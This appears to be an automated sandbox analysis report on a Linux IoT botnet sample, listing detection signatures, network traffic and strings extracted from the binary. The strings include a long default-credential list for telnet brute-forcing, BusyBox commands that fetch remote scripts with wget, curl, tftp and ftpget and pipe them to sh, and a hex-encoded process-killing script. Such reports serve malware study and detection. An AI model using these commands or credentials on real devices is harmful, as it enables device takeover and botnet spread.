Linux Analysis Report
la.bot.sparc.elf

Overview

General Information

Sample name: la.bot.sparc.elf
Analysis ID: 1540692
MD5: 39cd762fd6ab9367e0bc8cb9f789d9f9
SHA1: 1c581559c4537fb75c80b7a87b30d523de937c53
SHA256: 950bd1cad6c4482d188773323cc9d0cf72118281392f4b0723616634cf32b48d
Tags: elfuser-abuse_ch
Infos:

Detection

Score: 60
Range: 0 - 100
Whitelisted: false

Signatures

Antivirus / Scanner detection for submitted sample
Multi AV Scanner detection for submitted file
Connects to many ports of the same IP (likely port scanning)
Detected TCP or UDP traffic on non-standard ports
Executes the "rm" command used to delete files or directories
Found strings indicative of a multi-platform dropper
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Sample has stripped symbol table
Sample listens on a socket
Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)
Uses the "uname" system call to query kernel version information (possible evasion)

Classification

AV Detection

barindex
Source: la.bot.sparc.elf Avira: detected
Source: la.bot.sparc.elf ReversingLabs: Detection: 34%
Source: la.bot.sparc.elf String: ash|login|wget|curl|tftp|ntpdate
Source: la.bot.sparc.elf String: /proc//exe|ash|login|wget|curl|tftp|ntpdate/fd/dev/null|/dev/consolesocket|proc/usr/bin/usr/sbin/system/mnt/mtd/app/org/z/zbin/home/app/dvr/bin/duksan/userfs/mnt/app/usr/etc/dvr/main/usr/local/var/bin/tmp/sqfs/z/bin/dvr/mnt/mtd/zconf/gm/bin/home/process/var/challenge/usr/lib/lib/systemd//usr/lib/systemd/system/system/bin//mnt//home/helper/home/davinci/usr/libexec//sbin//bin//proc/net/tcp/proc/fd//proc/self/exe/. /proc//maps/lib//dev/watchdog/dev/misc/watchdog
Source: la.bot.sparc.elf String: rootPon521Zte521root621vizxvoelinux123wabjtamZxic521tsgoingon123456xc3511solokeydefaulta1sev5y7c39khkipc2016unisheenFireituphslwificam5upjvbzd1001chinsystemzlxx.admin7ujMko0vizxv1234horsesantslqxc12345xmhdipcicatch99founder88xirtamtaZz@01/*6.=_ja12345t0talc0ntr0l4!7ujMko0admintelecomadminipcam_rt5350juantech1234dreamboxIPCam@swzhongxinghi3518hg2x0dropperipc71aroot123telnetipcamgrouterGM8182200808263ep5w2uadmin123admin1234admin@123BrAhMoS@15GeNeXiS@19firetide2601hxservicepasswordsupportadmintelnetadminadmintelecomguestftpusernobodydaemon1cDuLJ7ctlJwpbo6S2fGqNFsOxhlwSG8lJwpbo6tluafedbinvstarcam201520150602supporthikvisione8ehomeasbe8ehomee8telnetcisco/bin/busyboxenableshellshlinuxshellping ;sh/bin/busybox hostname FICORA/bin/busybox echo > .ri && sh .ri && cd .ntpfsh .ntpf/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | sh/bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrepwEek/tmp//var//var/run//var/tmp//dev//dev/shm//etc//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63\x2F\x2A\3B""\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A\x20\x20\x23\x20\x53\x6B\x69\x70\x20\x6E\x6F\x6E\x2D""\x6E\x75\x6D\x65\x72\x69\x63\x20\x64\x69\x72\x65\x63\x74\x6F\x72\x69\x65\x73\x0A\x20\x20\x69\x66\x20\x21\x20\x5B\x20\x22\x24\x70\x69\x64\x22\x20\x2D\x65""\x71\x20\x22\x24\x70\x69\x64\x22\x20\x5D\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x63\x6F\x6E\x74""\x69\x6E\x75\x65\x0A\x20\x20\x66\x69\x0A\x0A\x20\x20\x23\x20\x47\x65\x74\x20\x74\x68\x65\x20\x63\x6F\x6D\x6D\x61\x6E\x64\x20\x6C\x69\x6E\x65\x20\x6F\x66""\x20\x74\x68\x65\x20\x70\x72\x6F\x63\x65\x73\x73\x0A\x20\x20\x63\x6D\x64\x6C\x69\x6E\x65\x3D\x24\x28\x74\x72\x20\x27\x5C\x30\x27\x20\x27\x20\x27\x20\x3C""\x20\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x63\x6D\x64\x6C\x69\x6E\x65\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x23""\x20\x43\x68\x65\x63\x6B\x20\x69\x66\x20\x74\x68\x65\x20\x63\x6F\x6D\x6D\x61\x6E\x64\x20\x6C\x69\x6E\x65\x20\x63\x6F\x6E\x74\x61\x69\x6E\x73\x20\x22\x64""\x76\x72\x48\x65\x6C\x70\x65\x72\x22\x0A\x20\x20\x69\x66\x20\x65\x63\x68\x6F\x20\x22\x24\x63\x6D\x64\x6C\x69\x6E\x65\x22\x20\x7C\x20\x67\x72\x65\x70\x20\x2D""\x71\x20\x22\x64\x76\x72\x48\x65\x6C\x70\x65\x72\x22\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x20\x20\x6B\x69\x6C\x6C\x20\x2D\x39\x20\x22\x24\x70\x69\x64""\x22\x0A\x20\x20\x66\x69\x0A\x64\x6F\x6E\x65\x0A"armarm5arm6arm7mipsmpslppcspcsh4

Networking

barindex
Source: global traffic TCP traffic: 103.253.147.242 ports 23789,2,3,7,8,9
Source: global traffic TCP traffic: 192.168.2.23:49742 -> 103.253.147.242:23789
Source: /tmp/la.bot.sparc.elf (PID: 6241) Socket: 127.0.0.1:1234 Jump to behavior
Source: global traffic TCP traffic: 192.168.2.23:43928 -> 91.189.91.42:443
Source: global traffic TCP traffic: 192.168.2.23:42836 -> 91.189.91.43:443
Source: global traffic TCP traffic: 192.168.2.23:42516 -> 109.202.202.202:80
Source: unknown TCP traffic detected without corresponding DNS query: 115.221.48.135
Source: unknown TCP traffic detected without corresponding DNS query: 3.86.149.121
Source: unknown TCP traffic detected without corresponding DNS query: 115.221.48.135
Source: unknown TCP traffic detected without corresponding DNS query: 9.162.4.110
Source: unknown TCP traffic detected without corresponding DNS query: 3.86.149.121
Source: unknown TCP traffic detected without corresponding DNS query: 3.114.204.146
Source: unknown TCP traffic detected without corresponding DNS query: 9.162.4.110
Source: unknown TCP traffic detected without corresponding DNS query: 91.189.91.42
Source: unknown TCP traffic detected without corresponding DNS query: 128.147.149.239
Source: unknown TCP traffic detected without corresponding DNS query: 3.114.204.146
Source: unknown TCP traffic detected without corresponding DNS query: 146.181.123.146
Source: unknown TCP traffic detected without corresponding DNS query: 128.147.149.239
Source: unknown TCP traffic detected without corresponding DNS query: 146.181.123.146
Source: unknown TCP traffic detected without corresponding DNS query: 13.253.255.203
Source: unknown TCP traffic detected without corresponding DNS query: 13.253.255.203
Source: unknown TCP traffic detected without corresponding DNS query: 163.76.216.172
Source: unknown TCP traffic detected without corresponding DNS query: 205.243.208.204
Source: unknown TCP traffic detected without corresponding DNS query: 163.76.216.172
Source: unknown TCP traffic detected without corresponding DNS query: 14.2.157.157
Source: unknown TCP traffic detected without corresponding DNS query: 205.243.208.204
Source: unknown TCP traffic detected without corresponding DNS query: 48.144.176.157
Source: unknown TCP traffic detected without corresponding DNS query: 113.33.101.109
Source: unknown TCP traffic detected without corresponding DNS query: 14.2.157.157
Source: unknown TCP traffic detected without corresponding DNS query: 48.144.176.157
Source: unknown TCP traffic detected without corresponding DNS query: 186.31.157.134
Source: unknown TCP traffic detected without corresponding DNS query: 158.12.179.64
Source: unknown TCP traffic detected without corresponding DNS query: 113.33.101.109
Source: unknown TCP traffic detected without corresponding DNS query: 186.31.157.134
Source: unknown TCP traffic detected without corresponding DNS query: 93.175.23.40
Source: unknown TCP traffic detected without corresponding DNS query: 158.12.179.64
Source: unknown TCP traffic detected without corresponding DNS query: 119.194.5.90
Source: unknown TCP traffic detected without corresponding DNS query: 93.175.23.40
Source: unknown TCP traffic detected without corresponding DNS query: 113.196.23.98
Source: unknown TCP traffic detected without corresponding DNS query: 119.194.5.90
Source: unknown TCP traffic detected without corresponding DNS query: 5.184.24.204
Source: unknown TCP traffic detected without corresponding DNS query: 113.196.23.98
Source: unknown TCP traffic detected without corresponding DNS query: 151.38.218.215
Source: unknown TCP traffic detected without corresponding DNS query: 5.184.24.204
Source: unknown TCP traffic detected without corresponding DNS query: 139.227.35.223
Source: unknown TCP traffic detected without corresponding DNS query: 128.97.12.152
Source: unknown TCP traffic detected without corresponding DNS query: 151.38.218.215
Source: unknown TCP traffic detected without corresponding DNS query: 139.227.35.223
Source: unknown TCP traffic detected without corresponding DNS query: 81.130.225.143
Source: unknown TCP traffic detected without corresponding DNS query: 223.161.239.146
Source: unknown TCP traffic detected without corresponding DNS query: 128.97.12.152
Source: unknown TCP traffic detected without corresponding DNS query: 123.233.91.212
Source: unknown TCP traffic detected without corresponding DNS query: 81.130.225.143
Source: unknown TCP traffic detected without corresponding DNS query: 215.31.215.8
Source: unknown TCP traffic detected without corresponding DNS query: 223.161.239.146
Source: unknown TCP traffic detected without corresponding DNS query: 158.236.249.146
Source: la.bot.sparc.elf String found in binary or memory: http:///curl.sh
Source: la.bot.sparc.elf String found in binary or memory: http:///wget.sh
Source: unknown Network traffic detected: HTTP traffic on port 43928 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 42836 -> 443
Source: Initial sample String containing 'busybox' found: usage: busybox
Source: Initial sample String containing 'busybox' found: /bin/busybox echo -ne
Source: Initial sample String containing 'busybox' found: /bin/busybox
Source: Initial sample String containing 'busybox' found: /bin/busybox hostname FICORA
Source: Initial sample String containing 'busybox' found: /bin/busybox echo >
Source: Initial sample String containing 'busybox' found: /bin/busybox wget http://
Source: Initial sample String containing 'busybox' found: /wget.sh -O- | sh;/bin/busybox tftp -g
Source: Initial sample String containing 'busybox' found: -r tftp.sh -l- | sh;/bin/busybox ftpget
Source: Initial sample String containing 'busybox' found: /bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrep
Source: Initial sample String containing 'busybox' found: (usage: busyboxincorrectinvalidbadwrongfaildeniederrorretryGET /dlr. HTTP/1.0
Source: Initial sample String containing 'busybox' found: /bin/busybox echo -ne >> > upnp
Source: Initial sample String containing 'busybox' found: rootPon521Zte521root621vizxvoelinux123wabjtamZxic521tsgoingon123456xc3511solokeydefaulta1sev5y7c39khkipc2016unisheenFireituphslwificam5upjvbzd1001chinsystemzlxx.admin7ujMko0vizxv1234horsesantslqxc12345xmhdipcicatch99founder88xirtamtaZz@01/*6.=_ja12345t0talc0ntr0l4!7ujMko0admintelecomadminipcam_rt5350juantech1234dreamboxIPCam@swzhongxinghi3518hg2x0dropperipc71aroot123telnetipcamgrouterGM8182200808263ep5w2uadmin123admin1234admin@123BrAhMoS@15GeNeXiS@19firetide2601hxservicepasswordsupportadmintelnetadminadmintelecomguestftpusernobodydaemon1cDuLJ7ctlJwpbo6S2fGqNFsOxhlwSG8lJwpbo6tluafedbinvstarcam201520150602supporthikvisione8ehomeasbe8ehomee8telnetcisco/bin/busyboxenableshellshlinuxshellping ;sh/bin/busybox hostname FICORA/bin/busybox echo > .ri && sh .ri && cd .ntpfsh .ntpf/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | sh/bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrepwEek/tmp//var//var/
Source: ELF static info symbol of initial sample .symtab present: no
Source: classification engine Classification label: mal60.troj.linELF@0/0@0/0
Source: /usr/bin/dash (PID: 6220) Rm executable: /usr/bin/rm -> rm -f /tmp/tmp.MmAZb2pPGC /tmp/tmp.O9axEUqqLy /tmp/tmp.PgVEO2aX3H Jump to behavior
Source: /usr/bin/dash (PID: 6229) Rm executable: /usr/bin/rm -> rm -f /tmp/tmp.MmAZb2pPGC /tmp/tmp.O9axEUqqLy /tmp/tmp.PgVEO2aX3H Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6241) Queries kernel information via 'uname': Jump to behavior
Source: la.bot.sparc.elf, 6241.1.00005604f04de000.00005604f0569000.rw-.sdmp Binary or memory string: /etc/qemu-binfmt/sparc
Source: la.bot.sparc.elf, 6241.1.00005604f04de000.00005604f0569000.rw-.sdmp Binary or memory string: V!/etc/qemu-binfmt/sparc
Source: la.bot.sparc.elf, 6241.1.00007ffe61959000.00007ffe6197a000.rw-.sdmp Binary or memory string: H*6nUex86_64/usr/bin/qemu-sparc/tmp/la.bot.sparc.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/la.bot.sparc.elf
Source: la.bot.sparc.elf, 6241.1.00007ffe61959000.00007ffe6197a000.rw-.sdmp Binary or memory string: /usr/bin/qemu-sparc
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs